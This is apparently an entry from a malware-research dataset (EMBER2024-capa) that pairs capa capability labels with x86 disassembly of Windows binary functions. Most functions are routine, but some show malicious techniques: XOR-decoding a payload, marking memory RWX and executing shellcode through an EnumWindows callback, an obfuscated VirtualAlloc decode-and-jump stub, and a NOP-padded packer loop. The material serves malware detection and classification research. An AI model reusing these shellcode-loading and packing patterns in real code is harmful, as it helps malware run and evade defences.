joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001865d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000f78a
and dword [ebp - 4], 0
cmp dword [0x10031280], 0
mov ebx, eax
jne 0x1001870e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100187bf
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x100187bf
push eax
call fcn.1000f718
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10031280], eax
call esi
push eax
call fcn.1000f718
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10031284], eax
call esi
push eax
call fcn.1000f718
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10031288], eax
call esi
push eax
call fcn.1000f718
pop ecx
mov dword [0x10031290], eax
test eax, eax
je 0x1001870e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000f718
pop ecx
mov dword [0x1003128c], eax
mov eax, dword [0x1003128c]
cmp eax, ebx
je 0x10018766
cmp dword [0x10031290], ebx
je 0x10018766
push eax
call fcn.1000f793
push dword [0x10031290]
mov esi, eax
call fcn.1000f793
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10018766
test edi, edi
je 0x10018766
call esi
test eax, eax
je 0x1001875d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001875d
test byte [ebp - 0xc], 1
jne 0x10018766
or dword [ebp + 0x10], 0x200000
jmp 0x1001879f
mov eax, dword [0x10031284]
cmp eax, ebx
je 0x1001879f
push eax
call fcn.1000f793
pop ecx
test eax, eax
je 0x1001879f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001879f
mov eax, dword [0x10031288]
cmp eax, ebx
je 0x1001879f
push eax
call fcn.1000f793
pop ecx
test eax, eax
je 0x1001879f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10031280]
call fcn.1000f793
pop ecx
test eax, eax
je 0x100187bf
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100187c1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401830
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x403a98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 0x68]
test eax, eax
jne 0x4018da
push esi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_2
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::operator
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4018c1
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x4018c1
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x68], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop esi
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x4018f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push edi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [esp + 0x120]
test eax, eax
mov byte [edi], 0
jne 0x40195d
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0
push edx
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov esi, eax
test esi, esi
jne 0x40195b
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x401970
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
push ebx
push esi
mov esi, ecx
push eax
mov ecx, dword [esp + 0x218]
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, eax
cmp ebx, 0x20
ja 0x401a99
lea edx, [esp + 8]
mov ecx, esi
push edx
push str..htm
push 0x80000000
call fcn.004018f0
test eax, eax
jne 0x401a99
lea eax, [esp + 8]
push str._shellopencommand
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 8]
lea edx, [esp + 8]
push ecx
push edx
push 0x80000000
mov ecx, esi
call fcn.004018f0
test eax, eax
jne 0x401a99
mov esi, dword [sym.imp.MSVCRT.dll__mbsstr]
push ebp
push edi
lea eax, [esp + 0x10]
push str.__1_
push eax
call esi
mov edx, eax
add esp, 8
test edx, edx
jne 0x401a33
lea ecx, [esp + 0x10]
push 0x406050
push ecx
call esi
mov edx, eax
add esp, 8
test edx, edx
jne 0x401a33
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + ecx + 0xf]
jmp 0x401a36
mov byte [edx], 0
mov edi, 0x40604c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x21c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov eax, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x208
ret 8
mov eax, ebx
pop esi
pop ebx
add esp, 0x208
ret 8

Function at 0x4028d0
Capabilities:
Encode data using xor

Disassembly:
push esi
push ebx
lea eax, [0x4146cc]
xor esi, esi
nop
nop
nop
nop
nop
mov bl, byte [eax + esi]
xor bl, 0x11
not bl
xor bl, 0xfd
mov byte [eax + esi], bl
nop
nop
push eax
pop eax
nop
test al, al
inc esi
test al, al
nop
cmp esi, 0x5f51
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x4028dc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop ebx
pop esi
ret

Function at 0x402941
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push ecx
push esi
mov esi, ecx
push 0
call fcn.004036de
mov dword [esi], 0x4048f8
call fcn.004028d0
lea eax, [esp + 4]
push eax
push 0x40
push 0x6000
push 0x4146cc
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0x41821c
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, esi
pop esi
pop ecx
ret
mov ecx, 0x41a6d0
jmp 0x402940
Function at 0x401fc0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x401fc9
xor ecx, ecx
jne 0x401fc9
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x401fea
mov eax, 0xd
jmp 0x402045
xor eax, eax
jne 0x401fd1
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x401ffb
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8

Function at 0x402050
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x14]
call fcn.00401b30
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00401da0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4020bb
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x224], edx
lea ecx, [ebp - 0x14]
call fcn.00401b90
mov eax, dword [ebp - 0x224]
jmp 0x40214c
mov dword [ebp - 4], 0x100
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x402121
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00402050
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402118
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x228], edx
lea ecx, [ebp - 0x14]
call fcn.00401b90
mov eax, dword [ebp - 0x228]
jmp 0x40214c
mov dword [ebp - 4], 0x100
jmp 0x4020c2
lea ecx, [ebp - 0x14]
call fcn.00401cd0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x230]
call fcn.00401c10
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x14]
call fcn.00401b90
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00407458
mov esp, ebp
pop ebp
ret 4
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.1002b663
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret

Function at 0x1002b663
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1002b672
pop dword [ebp - 0x20]
mov eax, 0x6cc7cb8e
sub eax, 0x5cc5151c
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x44bdf
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0xb2fad283
add ecx, 0x4d05876b
xor edx, edx
add edx, eax
mov esi, 0x1004ac00
add esi, dword [ebp - 0x20]
mov ebx, 0x1c7d31f1
add ebx, 0xceff13ec
xor dword [ebp - 0x18], 0x40d82d8f
mov edi, dword [esi]
xor dword [ebp - 8], 0x8f862fc9
sub edi, ebx
add dword [ebp - 0x1c], edi
mov dword [edx], edi
xor dword [ebp - 0x18], 0xb6d235d4
add edx, 0x188a2906
sub edx, 0x188a2902
add esi, 0x6d55c995
sub esi, 0x6d55c991
loop 0x1002b6c8
add eax, 0x58ffa523
sub eax, 0x58fe4a98
xor ebx, ebx
add ebx, eax
add eax, 0x6458b52a
add eax, 0x9ba74adb
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x430c40
Capabilities:
Delete file
Get common file path

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x208
cmp eax, 1
push ebx
push edi
jne case.default.0x430c9a
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], bl
mov byte [esp + 0x10c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x218]
add eax, 0xfffff006
cmp eax, 5
ja case.default.0x430c9a
jmp dword [eax*4 + 0x430ddc]
mov ecx, dword [0x5c88a4]
push ebx
call fcn.00408d70
pop edi
pop ebx
add esp, 0x208
ret 0x10
mov ecx, dword [0x5c8890]
push ebx
call fcn.0048aca0
pop edi
pop ebx
add esp, 0x208
ret 0x10
mov ecx, dword [0x5c88bc]
push ebx
push 1
call fcn.00472d50
push 0x13
jmp 0x430dc4
mov ecx, dword [0x5c88bc]
push ebx
push 1
call fcn.00472d50
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push str._sImageLyric.dat
push eax
call fcn.004b8784
add esp, 0xc
lea ecx, [esp + 0x10c]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x13
jmp 0x430dc4
cmp dword [0x5c899c], ebx
je 0x430d82
mov ecx, dword [0x5c8890]
call fcn.0048be20
mov ecx, 0x5ecbb8
call fcn.0046af40
mov edx, dword [0x5d339c]
xor eax, eax
mov ecx, 0x4b0
mov dword [0x5d9ed0], ebx
mov dword [edx*4 + 0x5d33a0], ebx
mov edx, dword [0x5d339c]
lea edx, [edx + edx*2]
lea edx, [edx + edx*4]
lea edi, [edx + edx*4]
shl edi, 6
add edi, 0x5c9d98
rep stosd dword es:[edi], eax
mov ecx, dword [0x5c88bc]
push ebx
push 1
call fcn.00472d50
mov ecx, dword [0x5c8884]
call fcn.0042b0b0
cmp eax, 1
jne 0x430dc2
mov eax, dword [0x5c8884]
mov dword [0x5d33c0], ebx
push ebx
mov ecx, dword [eax + 0xd40]
call fcn.004340e0
pop edi
pop ebx
add esp, 0x208
ret 0x10
push 9
mov ecx, dword [0x5c8884]
call fcn.0042b0e0
pop edi
pop ebx
add esp, 0x208
ret 0x10
Function at 0x4c2eb1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x5c7958
cmp edx, dword [eax]
je 0x4c2ed3
add eax, 8
inc ecx
cmp eax, 0x5c79e8
jl 0x4c2ec4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x5c7958]
jne 0x4c3001
mov eax, dword [0x5f2db8]
cmp eax, 1
je 0x4c2fdb
test eax, eax
jne 0x4c2f04
cmp dword [0x5c6c94], 1
je 0x4c2fdb
cmp edx, 0xfc
je 0x4c3001
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x4c2f3b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004c0ec0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bad00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c2f7e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bad00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4e12fc
push edi
call fcn.004b8510
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004c0ec0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c0ed0
lea eax, [ebp - 0xa0]
push 0x4d3ea0
push eax
call fcn.004c0ed0
push dword [esi + 0x5c795c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c0ed0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004c7693
add esp, 0x2c
pop edi
jmp 0x4c3001
lea eax, [ebp + 8]
lea esi, [esi + 0x5c795c]
push 0
push eax
push dword [esi]
call fcn.004bad00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret

Function at 0x4c8ffa
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4c901a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004ba86b
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4c903d
test byte [esp + 8], 2
je 0x4c903d
call fcn.004ba8de
mov dword [eax], 0xd
call fcn.004ba8e7
mov dword [eax], 5
jmp 0x4c9016
xor eax, eax
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x15bb1e5c
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x3bb33dce
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401fd0
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4fb0e1
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x202c
call fcn.004e66f0
mov eax, dword [0x5466b0]
xor eax, esp
mov dword [esp + 0x2028], eax
push ebx
push esi
push edi
mov eax, dword [0x5466b0]
xor eax, esp
push eax
lea eax, [esp + 0x2040]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 8], 0
mov edi, edx
jne 0x402029
cmp dword [ebx + 4], 0
je 0x4021c1
lea esi, [ebx + 0x14]
push esi
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov byte [esp + 0x28], 1
mov dword [esp + 0x2048], 0
mov eax, dword [ebx + 0x10]
cmp dword [eax - 0xc], 0
jle 0x402075
test edi, edi
je 0x40206f
cmp dword [eax - 0xc], 0
jl 0x40206f
push edi
push eax
call fcn.004cc745
add esp, 8
test eax, eax
je 0x40206f
sub eax, dword [ebx + 0x10]
sar eax, 1
jns 0x402075
push esi
jmp 0x4021bb
xor ecx, ecx
push 0x2000
push ecx
lea edx, [esp + 0x36]
push edx
mov word [esp + 0x38], cx
call fcn.004d7710
mov ecx, dword [ebp + 8]
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [esp + 0x34]
push 0xfff
push edx
call fcn.004cbb3d
add esp, 0x10
test eax, eax
jl 0x4020c2
cmp eax, 0xfff
ja 0x4020c2
jne 0x4020cc
xor eax, eax
mov word [esp + 0x202a], ax
jmp 0x4020cc
xor ecx, ecx
mov word [esp + 0x202a], cx
push 0
call fcn.004cbb5a
mov dword [esp + 0x24], edx
add esp, 4
lea edx, [esp + 0x1c]
push edx
lea esi, [esp + 0x1c]
mov dword [esp + 0x20], eax
call fcn.00408020
mov byte [esp + 0x2048], 1
mov eax, dword [0x54d210]
mov edx, dword [eax + 0xc]
mov ecx, 0x54d210
call edx
add eax, 0x10
mov dword [esp + 0x14], eax
lea eax, [esp + 0x2c]
push eax
mov byte [esp + 0x204c], 2
mov ecx, dword [esp + 0x1c]
push edi
push ecx
push str._s___s___s_r_n
lea edi, [esp + 0x24]
call fcn.00404c10
mov esi, dword [esp + 0x24]
add esp, 0x10
cmp dword [ebx + 8], 0
je 0x40213f
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebx + 4], 0
je 0x40216a
mov ebx, dword [ebx + 0xc]
cmp ebx, 0xffffffff
je 0x40216a
push 0
mov dword [esp + 0x18], 0
mov eax, dword [esi - 0xc]
lea edx, [esp + 0x18]
push edx
add eax, eax
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esi - 0x10]
mov byte [esp + 0x2048], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40218e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x2048], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4021b6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x2040]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2028]
xor ecx, esp
call fcn.004cb38b
mov esp, ebp
pop ebp
ret
Function at 0x402230
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
test esi, esi
je 0x4022c8
test eax, eax
je 0x4022c8
xor ecx, ecx
cmp cx, word [eax]
je 0x4022c8
lea edx, [esp]
push edx
push 0x20019
push ecx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x14], ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4022c8
mov edx, dword [esp]
lea eax, [esp + 4]
push eax
push esi
lea ecx, [esp + 0x10]
push ecx
push 0
push str.Path
push edx
mov dword [esp + 0x20], 1
mov dword [esp + 0x1c], 0x208
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp cx, word [esi]
je 0x4022b0
push esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4022b5
sub eax, edx
sar eax, 1
add esp, 0xc
ret
xor eax, eax
add esp, 0xc
ret

Function at 0x4022d0
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x20c
mov eax, dword [0x5466b0]
xor eax, esp
mov dword [esp + 0x208], eax
test esi, esi
je 0x40233a
test edi, edi
je 0x40233a
push ebx
push 0x208
lea eax, [esp + 8]
push 0
push eax
call fcn.004d7710
push edi
push esi
push 0x50f944
mov ecx, 0x104
lea ebx, [esp + 0x1c]
call fcn.00407c30
add esp, 0x18
pop ebx
test eax, eax
jl 0x40233a
lea ecx, [esp]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004cb38b
add esp, 0x20c
ret
mov ecx, dword [esp + 0x208]
xor ecx, esp
xor eax, eax
call fcn.004cb38b
add esp, 0x20c
ret

Function at 0x402700
Capabilities:
Get file version info

Disassembly:
sub esp, 0xc
push esi
push 0x54cfe0
push 0x4000
call fcn.004cc21d
mov esi, eax
add esp, 8
test esi, esi
je 0x4027b9
push 0x4000
push 0
push esi
call fcn.004d7710
add esp, 0xc
lea eax, [esp + 8]
push eax
push edi
call sub.VERSION.dll_GetFileVersionInfoSizeW
test eax, eax
je 0x4027b0
cmp eax, 0x3fff
ja 0x4027b0
push esi
push eax
push 0
push edi
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x4027b0
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push edx
push 0x50fa9c
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4027b0
mov eax, dword [esp + 4]
movzx ecx, word [eax + 0xa]
mov edx, dword [esp + 0x14]
mov word [edx], cx
movzx ecx, word [eax + 8]
mov edx, dword [esp + 0x18]
mov word [edx], cx
movzx ecx, word [eax + 0xe]
mov edx, dword [esp + 0x1c]
mov ax, word [eax + 0xc]
mov word [edx], cx
mov ecx, dword [esp + 0x20]
push esi
mov word [ecx], ax
call fcn.004cc1ec
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
push esi
call fcn.004cc1ec
add esp, 4
xor eax, eax
pop esi
add esp, 0xc
ret